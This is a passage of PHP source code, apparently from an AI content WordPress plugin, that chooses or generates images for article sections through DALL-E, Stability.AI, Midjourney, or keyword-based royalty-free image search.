                                                        $temp_get_imgs = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'editorContentMidjourneyImage', false, $ierror);
                                                        if($temp_get_imgs !== false)
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                            {
                                                                aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs);
                                                            }
                                                            $added_images++;
                                                            $added_img_list[] = $temp_get_imgs;
                                                            $temp_get_img = $temp_get_imgs;
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to generate Midjourney image: ' . $ierror);
                                                            $temp_get_img = '';
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Empty AI image query entered.');
                                                }
                                            }
                                            elseif (!isset($aiomatic_Spinner_Settings['enable_ai_images']) || $aiomatic_Spinner_Settings['enable_ai_images'] == '0') 
                                            {
                                                if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                                {
                                                    $image_query = $aiomatic_Spinner_Settings['ai_image_command'];
                                                }
                                                if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                                {
                                                    if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                                    {
                                                        try
                                                        {
                                                            if(!class_exists('TextRazor'))
                                                            {
                                                                require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                            }
                                                            TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                            $textrazor = new TextRazor();
                                                            $textrazor->addExtractor('entities');
                                                            $response = $textrazor->analyze($image_query);
                                                            if (isset($response['response']['entities'])) 
                                                            {
                                                                foreach ($response['response']['entities'] as $entity) 
                                                                {
                                                                    $query_words = '';
                                                                    if(isset($entity['entityEnglishId']))
                                                                    {
                                                                        $query_words = $entity['entityEnglishId'];
                                                                    }
                                                                    else
                                                                    {
                                                                        $query_words = $entity['entityId'];
                                                                    }
                                                                    if($query_words != '')
                                                                    {
                                                                        $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                                        if(!empty($z_img))
                                                                        {
                                                                            $added_images++;
                                                                            $added_img_list[] = $z_img;
                                                                            $temp_get_img = $z_img;
                                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                                aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                            }
                                                                            break;
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                        catch(Exception $e)
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                            }
                                                        }
                                                    }
                                                }
                                                elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                                {
                                                    if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                                    {
                                                        if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                        {
                                                            $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                        }
                                                        else
                                                        {
                                                            $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                        }
                                                        if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                        {
                                                            $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                        }
                                                        else
                                                        {
                                                            $keyword_assistant_id = '';
                                                        }
                                                        $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                        $title_ai_command = str_replace('%%default_post_cats%%', '', $title_ai_command);
                                                        $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                        $title_ai_command = array_filter($title_ai_command);
                                                        if(count($title_ai_command) > 0)
                                                        {
                                                            $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                        }
                                                        else
                                                        {
                                                            $title_ai_command = '';
                                                        }
                                                        $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                        if(!empty($title_ai_command))
                                                        {
                                                            $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                        }
                                                        $title_ai_command = trim($title_ai_command);
                                                        if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                        {
                                                            $txt_content = aiomatic_get_web_page($title_ai_command);
                                                            if ($txt_content !== FALSE) 
                                                            {
                                                                $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                                $txt_content = array_filter($txt_content);
                                                                if(count($txt_content) > 0)
                                                                {
                                                                    $txt_content = $txt_content[array_rand($txt_content)];
                                                                    if(trim($txt_content) != '') 
                                                                    {
                                                                        $title_ai_command = $txt_content;
                                                                        $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                        $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                                    }
                                                                }
                                                            }
                                                        }
                                                        if(empty($title_ai_command))
                                                        {
                                                            aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                            $title_ai_command = 'Extract a comma separated list of relevant keywords from the text: ' . trim(strip_tags($post_title));
                                                        }
                                                        if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                        {
                                                            $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                        }
                                                        $title_ai_command = trim($title_ai_command);
                                                        if(empty($title_ai_command))
                                                        {
                                                            aiomatic_log_to_file('Empty API title seed expression provided(6)! ' . print_r($title_ai_command, true));
                                                        }
                                                        else
                                                        {
                                                            $query_token_count = count(aiomatic_encode($title_ai_command));
                                                            $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                            {
                                                                $string_len = strlen($title_ai_command);
                                                                $string_len = $string_len / 2;
                                                                $string_len = intval(0 - $string_len);
                                                                $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                                $title_ai_command = trim($title_ai_command);
                                                                $query_token_count = count(aiomatic_encode($title_ai_command));
                                                                $available_tokens = $max_tokens - $query_token_count;
                                                            }
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                            {
                                                                $api_service = aiomatic_get_api_service($token, $kw_model);
                                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '\\' . $kw_model . ') for title text1: ' . $title_ai_command);
                                                            }
                                                            $aierror = '';
                                                            $finish_reason = '';
                                                            $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordCompletion', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', false);
                                                            if($generated_text === false)
                                                            {
                                                                aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                                $ai_title = '';
                                                            }
                                                            else
                                                            {
                                                                $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                                $ai_titles = explode(',', $ai_title);
                                                                foreach($ai_titles as $query_words)
                                                                {
                                                                    $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                                    if(!empty($z_img))
                                                                    {
                                                                        $added_images++;
                                                                        $added_img_list[] = $z_img;
                                                                        $temp_get_img = $z_img;
                                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                            aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                        }
                                                                        break;
                                                                    }
                                                                }
                                                            }
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                            {
                                                                $api_service = aiomatic_get_api_service($token, $kw_model);
                                                                aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($temp_get_img))
                                                {
                                                    $keyword_class = new Aiomatic_keywords();
                                                    $query_words = $keyword_class->keywords($image_query, 2);
                                                    $temp_img_attr = '';
                                                    $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                    if($temp_get_img == '' || $temp_get_img === false)
                                                    {
                                                        $query_words = $keyword_class->keywords($image_query, 1);
                                                        $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 20, false, $raw_img_list, array(), $full_result_list);
                                                        if($temp_get_img == '' || $temp_get_img === false)
                                                        {
                                                            $temp_get_img = '';
                                                        }
                                                        else
                                                        {
                                                            if(!in_array($temp_get_img, $added_img_list))
                                                            {
                                                                $added_images++;
                                                                $added_img_list[] = $temp_get_img;
                                                            }
                                                            else
                                                            {
                                                                $temp_get_img = '';
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(!in_array($temp_get_img, $added_img_list))
                                                        {
                                                            $added_images++;
                                                            $added_img_list[] = $temp_get_img;
                                                        }
                                                        else
                                                        {
                                                            $temp_get_img = '';
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if($temp_get_img != '')
                                        {
                                            if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                            {
                                                $localpath = aiomatic_copy_image_locally($temp_get_img);
                                                if($localpath !== false)
                                                {
                                                    $temp_get_img = $localpath[0];
                                                }
                                            }
                                            $add_my_image = '<img class="ximage_class" src="' . $temp_get_img . '" alt="' . $query_words . '"><br/>';
                                        }
                                        if($heading_val == '')
                                        {
                                            if($add_my_image == '')
                                            {
                                                $add_my_image = ' ';
                                            }
                                            $ai_created_data .= $add_my_image . trim(nl2br($aiwriter));
                                        }
                                        else
                                        {
                                            $ai_created_data .= $add_my_image . $heading_val . ' ' . trim(nl2br($aiwriter)) . '</span>';
                                        }
                                        sleep(1);
                                        $cnt++;
                                    }
                                }
                                if($need_more === true)
                                {
                                    $add_my_image = '';
                                    $temp_get_img = '';
                                    if(count($heading_results) > 0)
                                    {
                                        $rand_heading = '';
                                        $saverand = array_rand($heading_results);
                                        $rand_heading = $heading_results[$saverand];
                                        unset($heading_results[$saverand]);
                                        if(isset($rand_heading['q']))
                                        {
                                            $rand_heading['q'] = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $rand_heading['q']);
                                            $heading_val = '<h2>' . $rand_heading['q'] . '</h2>' . '<span>' . $rand_heading['a'];
                                            $image_query = $rand_heading['q'];
                                        }
                                    }
                                    if($images != '' && is_numeric($images) && $images > $added_images)
                                    {
                                        if($heading_val == '')
                                        {
                                            $temp_post = trim($ai_created_data);
                                        }
                                        else
                                        {
                                            $temp_post = trim($heading_val);
                                        }
                                        $query_words = '';
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if (isset($aiomatic_Spinner_Settings['enable_ai_images']) && ($aiomatic_Spinner_Settings['enable_ai_images'] == '1' || $aiomatic_Spinner_Settings['enable_ai_images'] == 'on')) 
                                        {
                                            if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                            {
                                                $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                            }
                                            else
                                            {
                                                $image_size = '1024x1024';
                                            }
                                            if (isset($aiomatic_Spinner_Settings['image_model']) && trim($aiomatic_Spinner_Settings['image_model']) != '')
                                            {
                                                $image_model = trim($aiomatic_Spinner_Settings['image_model']);
                                            }
                                            else
                                            {
                                                $image_model = 'dalle2';
                                            }
                                            $get_img = '';
                                            $query_words = $post_title;
                                            $orig_ai_command_image = '';
                                            if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                            {
                                                $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 400)
                                                    {
                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $image_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                    }
                                                    $aierror = '';
                                                    $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'editContentImage', false, 0, $aierror, $image_model);
                                                    if($get_img !== false)
                                                    {
                                                        foreach($get_img as $tmpimg)
                                                        {
                                                            $added_images++;
                                                            $added_img_list[] = $tmpimg;
                                                            $temp_get_img = $tmpimg;
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated image returned: ' . $tmpimg);
                                                        }
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate AI image: ' . $aierror);
                                                        $get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI image query entered.');
                                            }
                                        }
                                        elseif (isset($aiomatic_Spinner_Settings['enable_ai_images']) && $aiomatic_Spinner_Settings['enable_ai_images'] == '2') 
                                        {
                                            if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                            {
                                                $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                            }
                                            else
                                            {
                                                $image_size = '1024x1024';
                                            }
                                            $get_img = '';
                                            $query_words = $post_title;
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            $orig_ai_command_image = '';
                                            if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                            {
                                                $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 2000)
                                                    {
                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = 'Stability.AI';
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                    }
                                                    if($image_size == '256x256')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '512x512')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '1024x1024')
                                                    {
                                                        $width = '1024';
                                                        $height = '1024';
                                                    }
                                                    else
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    $ierror = '';
                                                    $temp_get_imgs = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'editorContentStableImage', 0, false, $ierror, false, false);
                                                    if($temp_get_imgs !== false)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs[1]);
                                                        }
                                                        $added_images++;
                                                        $added_img_list[] = $temp_get_imgs[1];
                                                        $temp_get_img = $temp_get_imgs[1];
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $ierror);
                                                        $temp_get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI image query entered.');
                                            }
                                        }
                                        elseif (isset($aiomatic_Spinner_Settings['enable_ai_images']) && $aiomatic_Spinner_Settings['enable_ai_images'] == '3') 
                                        {
                                            if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                            {
                                                $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                            }
                                            else
                                            {
                                                $image_size = '1024x1024';
                                            }
                                            $get_img = '';
                                            $query_words = $post_title;
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            $orig_ai_command_image = '';
                                            if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                            {
                                                $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 2000)
                                                    {
                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = 'GoAPI (Midjourney)';
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                    }
                                                    if($image_size == '256x256')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '512x512')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '1024x1024')
                                                    {
                                                        $width = '1024';
                                                        $height = '1024';
                                                    }
                                                    elseif($image_size == '1792x1024')
                                                    {
                                                        $width = '1792';
                                                        $height = '1024';
                                                    }
                                                    elseif($image_size == '1024x1792')
                                                    {
                                                        $width = '1024';
                                                        $height = '1792';
                                                    }
                                                    else
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    $ierror = '';
                                                    $temp_get_imgs = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'editorContentMidjourneyImage', false, $ierror);
                                                    if($temp_get_imgs !== false)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs);
                                                        }
                                                        $added_images++;
                                                        $added_img_list[] = $temp_get_imgs;
                                                        $temp_get_img = $temp_get_imgs;
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate Midjourney image: ' . $ierror);
                                                        $temp_get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI image query entered.');
                                            }
                                        }
                                        elseif (!isset($aiomatic_Spinner_Settings['enable_ai_images']) || $aiomatic_Spinner_Settings['enable_ai_images'] == '0') 
                                        {
                                            if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                            {
                                                $image_query = $aiomatic_Spinner_Settings['ai_image_command'];
                                            }
                                            if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                            {
                                                if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                                {
                                                    try
                                                    {
                                                        if(!class_exists('TextRazor'))
                                                        {
                                                            require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                        }
                                                        TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                        $textrazor = new TextRazor();
                                                        $textrazor->addExtractor('entities');
                                                        $response = $textrazor->analyze($image_query);
                                                        if (isset($response['response']['entities'])) 
                                                        {
                                                            foreach ($response['response']['entities'] as $entity) 
                                                            {
                                                                $query_words = '';
                                                                if(isset($entity['entityEnglishId']))
                                                                {
                                                                    $query_words = $entity['entityEnglishId'];
                                                                }
                                                                else
                                                                {
                                                                    $query_words = $entity['entityId'];
                                                                }
                                                                if($query_words != '')
                                                                {
                                                                    $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                                                    if(!empty($z_img))
                                                                    {
                                                                        $added_images++;
                                                                        $added_img_list[] = $z_img;
                                                                        $temp_get_img = $z_img;
                                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                            aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                        }
                                                                        break;
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                    catch(Exception $e)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                        }
                                                    }
                                                }
                                            }
                                            elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                                {
                                                    if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                    {
                                                        $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                    }
                                                    else
                                                    {
                                                        $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                    }
                                                    if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                    {
                                                        $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                    }
                                                    else
                                                    {
                                                        $keyword_assistant_id = '';
                                                    }
                                                    $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                    $title_ai_command = str_replace('%%default_post_cats%%', '', $title_ai_command);
                                                    $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                    $title_ai_command = array_filter($title_ai_command);
                                                    if(count($title_ai_command) > 0)
                                                    {
                                                        $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                    }
                                                    else
                                                    {
                                                        $title_ai_command = '';
                                                    }
                                                    $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                    if(!empty($title_ai_command))
                                                    {
                                                        $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    }
                                                    $title_ai_command = trim($title_ai_command);
                                                    if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                    {
                                                        $txt_content = aiomatic_get_web_page($title_ai_command);
                                                        if ($txt_content !== FALSE) 
                                                        {
                                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                            $txt_content = array_filter($txt_content);
                                                            if(count($txt_content) > 0)
                                                            {
                                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                                if(trim($txt_content) != '') 
                                                                {
                                                                    $title_ai_command = $txt_content;
                                                                    $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if(empty($title_ai_command))
                                                    {
                                                        aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                        $title_ai_command = 'Extract a comma separated list of relevant keywords from the text: ' . trim(strip_tags($post_title));
                                                    }
                                                    if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                    {
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                    }
                                                    $title_ai_command = trim($title_ai_command);
                                                    if(empty($title_ai_command))
                                                    {
